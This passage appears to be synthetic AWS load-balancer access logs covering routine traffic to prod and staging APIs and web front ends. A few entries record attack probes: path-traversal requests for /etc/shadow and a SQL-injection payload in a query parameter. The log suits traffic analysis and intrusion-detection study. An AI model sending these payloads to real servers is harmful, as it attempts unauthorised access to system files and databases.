Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c7f1-aad67865654d4dbeb74a626b" "prod-api-alb.example.com" "-" 10 2024-11-01T01:09:53.868751Z "forward" "-" "-" "10.0.221.144:443" "302" "-" "-" +https 2024-11-01T01:09:55.101439Z prod-web-alb 39.12.252.32:21365 10.0.230.86:443 0.013560 0.277501 0.074821 301 301 375 1328 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c7f3-898b87f671b448ea99727859" "prod-web-alb.example.com" "-" 2 2024-11-01T01:09:55.101439Z "forward" "-" "-" "10.0.230.86:443" "301" "-" "-" +https 2024-11-01T01:09:55.862184Z prod-api-alb 218.217.148.85:13641 10.0.222.140:443 0.069096 0.274910 0.058174 302 302 460 5196 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c7f3-680f9dd4ddb642e990f2b1a2" "prod-api-alb.example.com" "-" 4 2024-11-01T01:09:55.862184Z "forward" "-" "-" "10.0.222.140:443" "302" "-" "-" +https 2024-11-01T01:09:57.282347Z prod-web-alb 221.75.158.227:60885 10.0.28.129:443 0.034885 0.198780 0.010447 404 404 3 5960 "GET /cart HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c7f5-b4d5dcd19ed147cf870af5ee" "prod-web-alb.example.com" "-" 0 2024-11-01T01:09:57.282347Z "forward" "-" "-" "10.0.28.129:443" "404" "-" "-" +https 2024-11-01T01:09:58.108990Z prod-api-alb 78.242.228.53:45589 10.0.142.251:443 0.054773 0.035311 0.081719 200 200 871 2325 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c7f6-d36874297ef5438ab2977d72" "prod-api-alb.example.com" "-" 4 2024-11-01T01:09:58.108990Z "forward" "-" "-" "10.0.142.251:443" "200" "-" "-" +https 2024-11-01T01:09:59.865688Z prod-api-alb 53.202.28.84:35991 10.0.144.98:443 0.046311 0.238675 0.061786 200 200 772 6905 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c7f7-e88cedb424634f8abfada3b0" "prod-api-alb.example.com" "-" 8 2024-11-01T01:09:59.865688Z "forward" "-" "-" "10.0.144.98:443" "200" "-" "-" +https 2024-11-01T01:10:01.852075Z prod-api-alb 48.91.174.31:48590 10.0.187.19:443 0.038005 0.371937 0.038332 404 404 210 12384 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c7f9-6fae6732b0cf4773a96505b8" "prod-api-alb.example.com" "-" 2 2024-11-01T01:10:01.852075Z "forward" "-" "-" "10.0.187.19:443" "404" "-" "-" +http 2024-11-01T01:10:02.837271Z staging-alb 162.53.32.116:51760 109.198.39.6:80 0.065353 0.479584 0.076538 404 404 27 14971 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c7fa-1dccb530fc314bf3995e6211" "staging-alb.example.com" "-" 7 2024-11-01T01:10:02.837271Z "forward" "-" "-" "109.198.39.6:80" "404" "-" "-" +https 2024-11-01T01:10:03.646807Z prod-web-alb 171.221.63.182:54538 10.0.91.105:443 0.040903 0.471144 0.041362 200 200 419 12406 "GET /images/logo.png HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c7fb-7e03b281798e4237ba1e6e8d" "prod-web-alb.example.com" "-" 1 2024-11-01T01:10:03.646807Z "forward" "-" "-" "10.0.91.105:443" "200" "-" "-" +http 2024-11-01T01:10:05.207083Z staging-alb 143.141.6.197:49655 118.153.53.175:8080 0.149503 0.645087 0.025146 302 302 775 4619 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c7fd-5ee0d2d470df499cb5094420" "staging-alb.example.com" "-" 5 2024-11-01T01:10:05.207083Z "forward" "-" "-" "118.153.53.175:8080" "302" "-" "-" +https 2024-11-01T01:10:05.819106Z staging-alb 158.45.137.217:57002 238.50.34.176:8080 0.091219 0.295627 0.091192 200 200 343 14348 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c7fd-d5cfede8dd77473b8770f974" "staging-alb.example.com" "-" 8 2024-11-01T01:10:05.819106Z "forward" "-" "-" "238.50.34.176:8080" "200" "-" "-" +https 2024-11-01T01:10:07.176809Z prod-web-alb 86.28.252.132:48542 10.0.61.121:443 0.084703 0.345394 0.068862 200 200 97 13306 "GET /products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c7ff-7c947da5c75c42e987735ed0" "prod-web-alb.example.com" "-" 7 2024-11-01T01:10:07.176809Z "forward" "-" "-" "10.0.61.121:443" "200" "-" "-" +http 2024-11-01T01:10:07.606132Z staging-alb 138.74.244.252:23233 227.60.75.61:443 0.148343 0.658153 0.047818 200 200 120 3043 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c7ff-80255dc8915b495ab8487ddd" "staging-alb.example.com" "-" 6 2024-11-01T01:10:07.606132Z "forward" "-" "-" "227.60.75.61:443" "200" "-" "-" +https 2024-11-01T01:10:08.579418Z prod-api-alb 21.36.176.80:29762 10.0.145.209:443 0.087331 0.473651 0.045331 200 200 884 918 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c800-6f83a919f97243ea89dd37ad" "prod-api-alb.example.com" "-" 5 2024-11-01T01:10:08.579418Z "forward" "-" "-" "10.0.145.209:443" "200" "-" "-" +https 2024-11-01T01:10:10.352124Z staging-alb 44.18.142.0:23797 36.146.180.20:443 0.107371 0.459511 0.146281 200 200 475 2657 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c802-a2dbc302d0664c5291328141" "staging-alb.example.com" "-" 1 2024-11-01T01:10:10.352124Z "forward" "-" "-" "36.146.180.20:443" "200" "-" "-" +https 2024-11-01T01:10:11.136179Z prod-web-alb 212.51.126.112:33961 10.0.55.33:443 0.056641 0.250161 0.060498 404 404 342 11846 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c803-af8a967c3fcd456d92359d6f" "-" "-" 8 2024-11-01T01:10:11.136179Z "forward" "-" "-" "10.0.55.33:443" "404" "-" "-" +https 2024-11-01T01:10:11.323377Z prod-web-alb 75.96.140.204:33248 10.0.191.93:443 0.009027 0.303657 0.064203 404 404 748 8991 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c803-87e04bd6991740b68f58a430" "prod-web-alb.example.com" "-" 7 2024-11-01T01:10:11.323377Z "forward" "-" "-" "10.0.191.93:443" "404" "-" "-" +https 2024-11-01T01:10:12.269195Z prod-api-alb 100.190.223.143:26789 10.0.52.200:443 0.082490 0.288885 0.097010 302 302 538 8664 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c804-ab8333f24cb44efebf925725" "prod-api-alb.example.com" "-" 5 2024-11-01T01:10:12.269195Z "forward" "-" "-" "10.0.52.200:443" "302" "-" "-" +https 2024-11-01T01:10:13.824811Z staging-alb 41.125.126.159:55908 58.5.103.194:80 0.057237 0.156863 0.116531 302 302 119 7080 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c805-1ecdceb1124f44eb86fe0fe7" "staging-alb.example.com" "-" 0 2024-11-01T01:10:13.824811Z "forward" "-" "-" "58.5.103.194:80" "302" "-" "-" +https 2024-11-01T01:10:15.008210Z prod-web-alb 155.110.15.171:25213 10.0.146.60:443 0.097038 0.476366 0.095079 404 404 742 7625 "GET /checkout HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c807-81cc72c96d2b4d17abf54dc2" "prod-web-alb.example.com" "-" 5 2024-11-01T01:10:15.008210Z "forward" "-" "-" "10.0.146.60:443" "404" "-" "-" +https 2024-11-01T01:10:16.761190Z staging-alb 136.229.80.100:35143 190.228.218.86:443 0.075978 0.658531 0.044536 200 200 168 9160 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c808-85de213a336040d58c9338b4" "staging-alb.example.com" "-" 8 2024-11-01T01:10:16.761190Z "forward" "-" "-" "190.228.218.86:443" "200" "-" "-" +https 2024-11-01T01:10:17.558598Z prod-web-alb 162.189.84.235:26452 10.0.198.185:443 0.095240 0.038230 0.073882 404 404 585 4511 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c809-605b6d85a8e744fd9c354264" "prod-web-alb.example.com" "-" 0 2024-11-01T01:10:17.558598Z "forward" "-" "-" "10.0.198.185:443" "404" "-" "-" +https 2024-11-01T01:10:19.458887Z prod-web-alb 162.228.227.164:59892 10.0.163.54:443 0.086843 0.362688 0.025884 302 302 295 7112 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c80b-1b5c58c682a34ff9a3ab7c8c" "prod-web-alb.example.com" "-" 3 2024-11-01T01:10:19.458887Z "forward" "-" "-" "10.0.163.54:443" "302" "-" "-" +http 2024-11-01T01:10:20.706604Z staging-alb 45.184.59.235:62627 79.123.138.68:443 0.068738 0.668665 0.042274 301 301 45 12963 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c80c-27e9ec945f8a42c8bb6b345b" "staging-alb.example.com" "-" 10 2024-11-01T01:10:20.706604Z "forward" "-" "-" "79.123.138.68:443" "301" "-" "-" +https 2024-11-01T01:10:22.625028Z prod-api-alb 74.141.57.217:19458 10.0.92.111:443 0.030968 0.368429 0.018369 200 200 389 6035 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c80e-c9e89a1e639a438db606315f" "prod-api-alb.example.com" "-" 2 2024-11-01T01:10:22.625028Z "forward" "-" "-" "10.0.92.111:443" "200" "-" "-" +https 2024-11-01T01:10:24.297972Z prod-api-alb 182.121.53.62:13082 10.0.154.177:443 0.051927 0.047960 0.066200 302 302 170 9775 "GET /api/health HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c810-eb9e931bd38c4107b0301f4c" "prod-api-alb.example.com" "-" 3 2024-11-01T01:10:24.297972Z "forward" "-" "-" "10.0.154.177:443" "302" "-" "-" +https 2024-11-01T01:10:24.506958Z prod-web-alb 36.61.17.242:19553 10.0.58.211:443 0.051994 0.103930 0.048476 200 200 418 3673 "GET /cart HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c810-84b6d92e02c6413cbdadaeff" "prod-web-alb.example.com" "-" 10 2024-11-01T01:10:24.506958Z "forward" "-" "-" "10.0.58.211:443" "200" "-" "-" +https 2024-11-01T01:10:25.657663Z prod-api-alb 151.252.197.221:23197 10.0.135.90:443 0.022338 0.150931 0.035766 200 200 857 11496 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c811-35a2c6054dc44a91a4d12bb2" "prod-api-alb.example.com" "-" 5 2024-11-01T01:10:25.657663Z "forward" "-" "-" "10.0.135.90:443" "200" "-" "-" +https 2024-11-01T01:10:26.119640Z staging-alb 46.15.112.64:50607 152.179.150.18:8080 0.057276 0.298797 0.061071 301 301 170 4616 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c812-859b353fdeab421eb817d93a" "staging-alb.example.com" "-" 0 2024-11-01T01:10:26.119640Z "forward" "-" "-" "152.179.150.18:8080" "301" "-" "-" +https 2024-11-01T01:10:27.558456Z prod-api-alb 193.27.228.108:14601 10.0.135.93:443 0.023620 0.027588 0.094329 403 403 685 6063 "GET /images/../../../../etc/shadow HTTP/1.1" "Qualys SSL Assessment Scanner" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c813-1d7a0a0d68134325b18e9078" "-" "-" 5 2024-11-01T01:10:27.558456Z "forward" "-" "-" "10.0.135.93:443" "403" "-" "-" +http 2024-11-01T01:10:28.415580Z staging-alb 127.97.191.223:52166 181.122.140.177:443 0.131524 0.237486 0.055341 200 200 156 3285 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c814-f0d39877ed82469fb588d730" "-" "-" 9 2024-11-01T01:10:28.415580Z "forward" "-" "-" "181.122.140.177:443" "200" "-" "-" +http 2024-11-01T01:10:29.351836Z staging-alb 67.123.7.189:47534 82.72.170.32:443 0.060111 0.297516 0.064690 200 200 803 11551 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c815-6077195ab29c4553b37a1bc4" "staging-alb.example.com" "-" 9 2024-11-01T01:10:29.351836Z "forward" "-" "-" "82.72.170.32:443" "200" "-" "-" +https 2024-11-01T01:10:30.507237Z prod-api-alb 60.123.210.205:55890 10.0.249.128:443 0.027273 0.460954 0.060738 301 301 607 13411 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c816-1a785454e77a4fb69fb35b1e" "-" "-" 1 2024-11-01T01:10:30.507237Z "forward" "-" "-" "10.0.249.128:443" "301" "-" "-" +http 2024-11-01T01:10:31.924174Z staging-alb 194.246.1.44:35945 92.165.73.225:443 0.117802 0.342793 0.009329 200 200 887 14838 "GET /staging/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c817-72c22d17e87a465a84799ea3" "-" "-" 7 2024-11-01T01:10:31.924174Z "forward" "-" "-" "92.165.73.225:443" "200" "-" "-" +https 2024-11-01T01:10:32.809782Z prod-web-alb 240.215.26.183:21954 10.0.8.46:443 0.057194 0.126504 0.075266 302 302 121 11440 "GET /images/logo.png HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c818-fbb6c266f7f94c45ae3f4185" "prod-web-alb.example.com" "-" 0 2024-11-01T01:10:32.809782Z "forward" "-" "-" "10.0.8.46:443" "302" "-" "-" +http 2024-11-01T01:10:33.527528Z staging-alb 148.154.161.26:29116 36.97.156.61:80 0.008047 0.213382 0.101884 200 200 325 13171 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c819-976851de3950479ba5b3658c" "staging-alb.example.com" "-" 5 2024-11-01T01:10:33.527528Z "forward" "-" "-" "36.97.156.61:80" "200" "-" "-" +http 2024-11-01T01:10:35.110951Z staging-alb 126.93.84.84:33838 63.163.192.128:443 0.008899 0.229762 0.000590 302 302 896 7619 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c81b-a117b782c2c7424ebf07cc83" "staging-alb.example.com" "-" 5 2024-11-01T01:10:35.110951Z "forward" "-" "-" "63.163.192.128:443" "302" "-" "-" +http 2024-11-01T01:10:35.967302Z staging-alb 28.2.12.230:13490 214.193.35.50:80 0.018924 0.308953 0.000488 301 301 975 11728 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c81b-4724d41c5300400285a93f09" "staging-alb.example.com" "-" 3 2024-11-01T01:10:35.967302Z "forward" "-" "-" "214.193.35.50:80" "301" "-" "-" +https 2024-11-01T01:10:36.457719Z prod-api-alb 185.181.21.23:64949 10.0.87.117:443 0.081193 0.179874 0.057232 500 500 722 1099 "POST /api/products?category=1' OR '1'='1 HTTP/1.1" "Go-http-client/2.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c81c-30fc5a6545e042cd83067da0" "-" "-" 0 2024-11-01T01:10:36.457719Z "forward" "-" "-" "10.0.87.117:443" "500" "-" "-" +https 2024-11-01T01:10:36.607645Z staging-alb 22.168.210.72:38568 110.172.214.40:443 0.074998 0.183300 0.074096 200 200 114 5671 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c81c-d25b8f1eb66e43f9a3bfbb2b" "staging-alb.example.com" "-" 2 2024-11-01T01:10:36.607645Z "forward" "-" "-" "110.172.214.40:443" "200" "-" "-" +https 2024-11-01T01:10:38.357316Z prod-api-alb 190.251.142.75:49844 10.0.144.95:443 0.000598 0.245343 0.004965 200 200 637 12124 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c81e-cd8cf84d24fd458f8001c677" "prod-api-alb.example.com" "-" 6 2024-11-01T01:10:38.357316Z "forward" "-" "-" "10.0.144.95:443" "200" "-" "-" +https 2024-11-01T01:10:39.379096Z prod-web-alb 76.226.70.93:42433 10.0.42.55:443 0.029313 0.236457 0.004905 200 200 250 7538 "GET /cart HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c81f-8e3b43018be3461592966630" "prod-web-alb.example.com" "-" 10 2024-11-01T01:10:39.379096Z "forward" "-" "-" "10.0.42.55:443" "200" "-" "-" +https 2024-11-01T01:10:40.084639Z staging-alb 67.235.95.229:62539 241.91.83.56:443 0.050196 0.630362 0.067584 200 200 570 757 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c820-6abf701f8bce46d0a4c5cc51" "staging-alb.example.com" "-" 8 2024-11-01T01:10:40.084639Z "forward" "-" "-" "241.91.83.56:443" "200" "-" "-" +https 2024-11-01T01:10:40.977709Z staging-alb 50.191.39.63:22255 69.198.60.12:443 0.119509 0.097909 0.129338 200 200 155 7695 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c820-445e1c1fe1c34308b2af0bf9" "staging-alb.example.com" "-" 4 2024-11-01T01:10:40.977709Z "forward" "-" "-" "69.198.60.12:443" "200" "-" "-" +https 2024-11-01T01:10:41.807448Z staging-alb 34.26.206.170:28612 67.77.170.10:80 0.094507 0.287153 0.076200 301 301 951 1149 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c821-92848eac14c54a978280041d" "staging-alb.example.com" "-" 1 2024-11-01T01:10:41.807448Z "forward" "-" "-" "67.77.170.10:80" "301" "-" "-" +http 2024-11-01T01:10:43.374178Z staging-alb 205.242.188.70:52998 48.51.188.200:8080 0.142792 0.144885 0.097159 302 302 575 11047 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c823-1139ee23bd8242b98b03ea79" "staging-alb.example.com" "-" 7 2024-11-01T01:10:43.374178Z "forward" "-" "-" "48.51.188.200:8080" "302" "-" "-" +https 2024-11-01T01:10:44.424040Z prod-web-alb 80.71.101.99:29035 10.0.164.171:443 0.067883 0.422459 0.075135 302 302 977 12102 "GET /cart HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c824-6f6c511d64304ec98aed63b4" "prod-web-alb.example.com" "-" 5 2024-11-01T01:10:44.424040Z "forward" "-" "-" "10.0.164.171:443" "302" "-" "-" +https 2024-11-01T01:10:44.731702Z prod-web-alb 185.181.187.52:33692 10.0.145.186:443 0.080785 0.330005 0.007862 404 404 989 10787 "GET /images/../../../../etc/shadow HTTP/1.1" "zgrab/0.x" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c824-68de11e65a294eb1be0c9b7d" "-" "-" 5 2024-11-01T01:10:44.731702Z "forward" "-" "-" "10.0.145.186:443" "404" "-" "-" +http 2024-11-01T01:10:45.452558Z staging-alb 25.23.239.189:48331 40.237.128.93:8080 0.136022 0.236967 0.009030 404 404 408 7241 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like 